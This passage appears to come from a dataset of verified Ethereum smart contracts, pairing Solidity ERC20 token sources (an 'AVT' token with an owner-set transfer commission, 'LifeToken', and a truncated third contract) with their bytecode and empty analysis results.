of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Token is StandardToken, Ownable { // Basic token constants. string public constant name = "Andrey Voronkov Tokens"; string public constant symbol = "AVT"; uint8 public constant decimals = 18; uint256 constant initialSupply = 10 ** uint(10 + decimals); // Commission value represented in 0.000001%. uint32 public commissionFee = 0; uint32 constant commissionDenuminator = 10 ** 8; // Default constructor creates initial supply of tokens to the owner // account. constructor() public { balances[msg.sender] = initialSupply; totalSupply_ = initialSupply; emit Transfer(address(0), msg.sender, initialSupply); } // Makes a transfer with specified commission. function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); uint256 commission = 0; if (msg.sender != owner) { commission = _value.mul(commissionFee).div(commissionDenuminator); } uint256 afterValue = _value.sub(commission); if (commission != 0) { balances[owner] = balances[owner].add(commission); emit Transfer(msg.sender, owner, commission); } balances[_to] = balances[_to].add(afterValue); emit Transfer(msg.sender, _to, afterValue); return true; } // Specify the commission to be charged from every transfer. function setCommission(uint32 _commission) public onlyOwner { require(_commission < commissionDenuminator); commissionFee = _commission; } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063092501a014610169578063095ea7b31461018957806318160ddd146101c157806323b872dd146101e8578063313ce56714610212578063661884631461023d5780636fb1eb0c1461026157806370a082311461028f5780638da5cb5b146102b057806395d89b41146102e1578063a9059cbb146102f6578063d73dd6231461031a578063dd62ed3e1461033e578063f2fde38b14610365575b600080fd5b3480156100eb57600080fd5b506100f4610386565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018763ffffffff600435166103bd565b005b34801561019557600080fd5b506101ad600160a060020a0360043516602435610432565b604080519115158252519081900360200190f35b3480156101cd57600080fd5b506101d6610499565b60408051918252519081900360200190f35b3480156101f457600080fd5b506101ad600160a060020a036004358116906024351660443561049f565b34801561021e57600080fd5b50610227610616565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506101ad600160a060020a036004351660243561061b565b34801561026d57600080fd5b5061027661070b565b6040805163ffffffff9092168252519081900360200190f35b34801561029b57600080fd5b506101d6600160a060020a036004351661072f565b3480156102bc57600080fd5b506102c561074a565b60408051600160a060020a039092168252519081900360200190f35b3480156102ed57600080fd5b506100f4610759565b34801561030257600080fd5b506101ad600160a060020a0360043516602435610790565b34801561032657600080fd5b506101ad600160a060020a0360043516602435610969565b34801561034a57600080fd5b506101d6600160a060020a0360043581169060243516610a02565b34801561037157600080fd5b50610187600160a060020a0360043516610a2d565b60408051808201909152601681527f416e6472657920566f726f6e6b6f7620546f6b656e7300000000000000000000602082015281565b600354600160a060020a031633146103d457600080fd5b6305f5e10063ffffffff8216106103ea57600080fd5b6003805463ffffffff909216740100000000000000000000000000000000000000000277ffffffff000000000000000000000000000000000000000019909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60015490565b6000600160a060020a03831615156104b657600080fd5b600160a060020a0384166000908152602081905260409020548211156104db57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561050b57600080fd5b600160a060020a038416600090815260208190526040902054610534908363ffffffff610ac216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610569908363ffffffff610ad416565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105ab908363ffffffff610ac216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561067057336000908152600260209081526040808320600160a060020a03881684529091528120556106a5565b610680818463ffffffff610ac216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60035474010000000000000000000000000000000000000000900463ffffffff1681565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60408051808201909152600381527f4156540000000000000000000000000000000000000000000000000000000000602082015281565b33600090815260208190526040812054819081908411156107b057600080fd5b336000908152602081905260409020546107d0908563ffffffff610ac216565b33600081815260208190526040812092909255600354919350600160a060020a03909116146108425760035461083f906305f5e1009061083390879074010000000000000000000000000000000000000000900463ffffffff90811690610ae116565b9063ffffffff610b0a16565b91505b610852848363ffffffff610ac216565b905081156108e257600354600160a060020a0316600090815260208190526040902054610885908363ffffffff610ad416565b60038054600160a060020a03908116600090815260208181526040918290209490945591548251868152925191169233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35b600160a060020a03851660009081526020819052604090205461090b908263ffffffff610ad416565b600160a060020a038616600081815260208181526040918290209390935580518481529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b336000908152600260209081526040808320600160a060020a038616845290915281205461099d908363ffffffff610ad416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a4457600080fd5b600160a060020a0381161515610a5957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ace57fe5b50900390565b8181018281101561049357fe5b6000821515610af257506000610493565b50818102818382811515610b0257fe5b041461049357fe5b60008183811515610b1757fe5b0493925050505600a165627a7a723058207a281fe34a8c03ab1c9ccc6843d32bd138aa8f03258cce3aaa0f34a4c3d9a5d00029
{"success": true, "error": null, "results": {}}
3,002
0x6c936d4ae98e6d2172db18c16c4b601c99918ee6
/** *Submitted for verification at Etherscan.io on 2021-08-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract LifeToken is IERC20 { using SafeMath for uint256; // OWNER DATA address public tokenBurner; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; constructor () { _name = "Life Crypto"; _symbol = "LIFE"; _decimals = 18; _mint(msg.sender, 10000000000 * 10 ** uint256(18)); tokenBurner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == tokenBurner, "supplyController"); _; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * Here in Life crypto token, we have initialised constructor with 18 decimals. */ function decimals() public view returns (uint8) { return _decimals; } uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * Function to bur tokens to 0 address * Can be done by owner only */ function destroyTokens(address account, uint256 value) public onlyOwner returns (bool) { require(value <= _balances[account], "not enough supply"); require(account == tokenBurner, "onlyOwner"); _balances[account] = _balances[account].sub(value); _totalSupply = _totalSupply.sub(value); emit Transfer(account, address(0), value); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public override returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(value); _totalSupply = _totalSupply.sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c578063a457c2d711610066578063a457c2d71461022a578063a9059cbb1461025a578063d3ce77fe1461028a578063dd62ed3e146102ba576100cf565b806339509351146101ac57806370a08231146101dc57806395d89b411461020c576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd146101405780632996f97214610170578063313ce5671461018e575b600080fd5b6100dc6102ea565b6040516100e99190611209565b60405180910390f35b61010c60048036038101906101079190610fe7565b61037c565b60405161011991906111ee565b60405180910390f35b61012a610393565b604051610137919061134b565b60405180910390f35b61015a60048036038101906101559190610f98565b61039d565b60405161016791906111ee565b60405180910390f35b61017861044e565b60405161018591906111d3565b60405180910390f35b610196610472565b6040516101a39190611366565b60405180910390f35b6101c660048036038101906101c19190610fe7565b610489565b6040516101d391906111ee565b60405180910390f35b6101f660048036038101906101f19190610f33565b61052e565b604051610203919061134b565b60405180910390f35b610214610577565b6040516102219190611209565b60405180910390f35b610244600480360381019061023f9190610fe7565b610609565b60405161025191906111ee565b60405180910390f35b610274600480360381019061026f9190610fe7565b6106ae565b60405161028191906111ee565b60405180910390f35b6102a4600480360381019061029f9190610fe7565b6106c5565b6040516102b191906111ee565b60405180910390f35b6102d460048036038101906102cf9190610f5c565b610986565b6040516102e1919061134b565b60405180910390f35b6060600380546102f9906114af565b80601f0160208091040260200160405190810160405280929190818152602001828054610325906114af565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000610389338484610a6b565b6001905092915050565b6000600654905090565b60006103aa848484610c36565b610443843361043e85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b610a6b565b600190509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900460ff16905090565b6000610524338461051f85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a0d90919063ffffffff16565b610a6b565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610586906114af565b80601f01602080910402602001604051908101604052809291908181526020018280546105b2906114af565b80156105ff5780601f106105d4576101008083540402835291602001916105ff565b820191906000526020600020905b8154815290600101906020018083116105e257829003601f168201915b5050505050905090565b60006106a4338461069f85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b610a6b565b6001905092915050565b60006106bb338484610c36565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610756576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074d9061128b565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf906112eb565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d9061132b565b60405180910390fd5b6108b882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091082600654610eaa90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610974919061134b565b60405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284610a1c919061139d565b905083811015610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a589061126b565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad29061130b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b429061124b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c29919061134b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d906112cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d9061122b565b60405180910390fd5b610d6881600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dfd81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a0d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e9d919061134b565b60405180910390a3505050565b600082821115610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee6906112ab565b60405180910390fd5b60008284610efd91906113f3565b90508091505092915050565b600081359050610f1881611759565b92915050565b600081359050610f2d81611770565b92915050565b600060208284031215610f4557600080fd5b6000610f5384828501610f09565b91505092915050565b60008060408385031215610f6f57600080fd5b6000610f7d85828601610f09565b9250506020610f8e85828601610f09565b9150509250929050565b600080600060608486031215610fad57600080fd5b6000610fbb86828701610f09565b9350506020610fcc86828701610f09565b9250506040610fdd86828701610f1e565b9150509250925092565b60008060408385031215610ffa57600080fd5b600061100885828601610f09565b925050602061101985828601610f1e565b9150509250929050565b61102c81611427565b82525050565b61103b81611439565b82525050565b600061104c82611381565b611056818561138c565b935061106681856020860161147c565b61106f8161153f565b840191505092915050565b600061108760238361138c565b915061109282611550565b604082019050919050565b60006110aa60228361138c565b91506110b58261159f565b604082019050919050565b60006110cd601b8361138c565b91506110d8826115ee565b602082019050919050565b60006110f060108361138c565b91506110fb82611617565b602082019050919050565b6000611113601e8361138c565b915061111e82611640565b602082019050919050565b600061113660258361138c565b915061114182611669565b604082019050919050565b600061115960118361138c565b9150611164826116b8565b602082019050919050565b600061117c60248361138c565b9150611187826116e1565b604082019050919050565b600061119f60098361138c565b91506111aa82611730565b602082019050919050565b6111be81611465565b82525050565b6111cd8161146f565b82525050565b60006020820190506111e86000830184611023565b92915050565b60006020820190506112036000830184611032565b92915050565b600060208201905081810360008301526112238184611041565b905092915050565b600060208201905081810360008301526112448161107a565b9050919050565b600060208201905081810360008301526112648161109d565b9050919050565b60006020820190508181036000830152611284816110c0565b9050919050565b600060208201905081810360008301526112a4816110e3565b9050919050565b600060208201905081810360008301526112c481611106565b9050919050565b600060208201905081810360008301526112e481611129565b9050919050565b600060208201905081810360008301526113048161114c565b9050919050565b600060208201905081810360008301526113248161116f565b9050919050565b6000602082019050818103600083015261134481611192565b9050919050565b600060208201905061136060008301846111b5565b92915050565b600060208201905061137b60008301846111c4565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113a882611465565b91506113b383611465565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113e8576113e76114e1565b5b828201905092915050565b60006113fe82611465565b915061140983611465565b92508282101561141c5761141b6114e1565b5b828203905092915050565b600061143282611445565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561149a57808201518184015260208101905061147f565b838111156114a9576000848401525b50505050565b600060028204905060018216806114c757607f821691505b602082108114156114db576114da611510565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f737570706c79436f6e74726f6c6c657200000000000000000000000000000000600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f7420656e6f75676820737570706c79000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f6f6e6c794f776e65720000000000000000000000000000000000000000000000600082015250565b61176281611427565b811461176d57600080fd5b50565b61177981611465565b811461178457600080fd5b5056fea2646970667358221220dd24b165572b5c8094edc16c0289164873ae3cc4a06d194e38f97897f35b561164736f6c63430008040033
{"success": true, "error": null, "results": {}}
3,003
0xcca8c8be25bb145783f0e30ec4efdca9a5b79970
/** *Submitted for verification at Etherscan.io on 2021-01-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: 